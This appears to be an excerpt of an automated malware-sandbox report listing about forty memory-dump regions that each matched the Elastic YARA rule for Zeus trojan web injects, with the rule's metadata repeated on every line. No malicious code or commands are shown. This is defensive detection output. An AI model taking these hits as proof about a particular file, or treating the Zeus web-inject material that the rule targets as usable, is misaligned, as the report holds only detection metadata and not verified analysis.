Source: 00000002.00000003.2422680364.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2500272198.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001F.00000002.2486303903.0000000002410000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000005.00000002.2689429346.0000000000E30000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001B.00000002.2475050431.00000000029F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2508679184.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000008.00000002.2747738831.0000000000C50000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000022.00000002.2487689003.0000000002950000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2510071854.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000013.00000002.2455624289.0000000001450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2395495961.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000015.00000002.2460508314.0000000002CD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2500141724.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000C.00000002.2700342737.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000026.00000002.2502070915.0000000002760000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000022.00000002.2487542677.00000000027F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2510491693.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000004.00000002.2719273525.0000000001240000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2448622131.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2508393493.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2501374465.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2497016320.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001D.00000002.2478719931.0000000002920000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2501604041.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2455382191.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001F.00000002.2486764914.00000000025D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2469676261.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3272240736.0000000002915000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2510323696.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000013.00000002.2455739148.00000000014B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2508541619.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.3060629328.0000000002DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000024.00000002.2570365409.0000000002C90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2501156976.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000019.00000002.2473316243.0000000002650000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000017.00000002.2469451874.0000000002AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
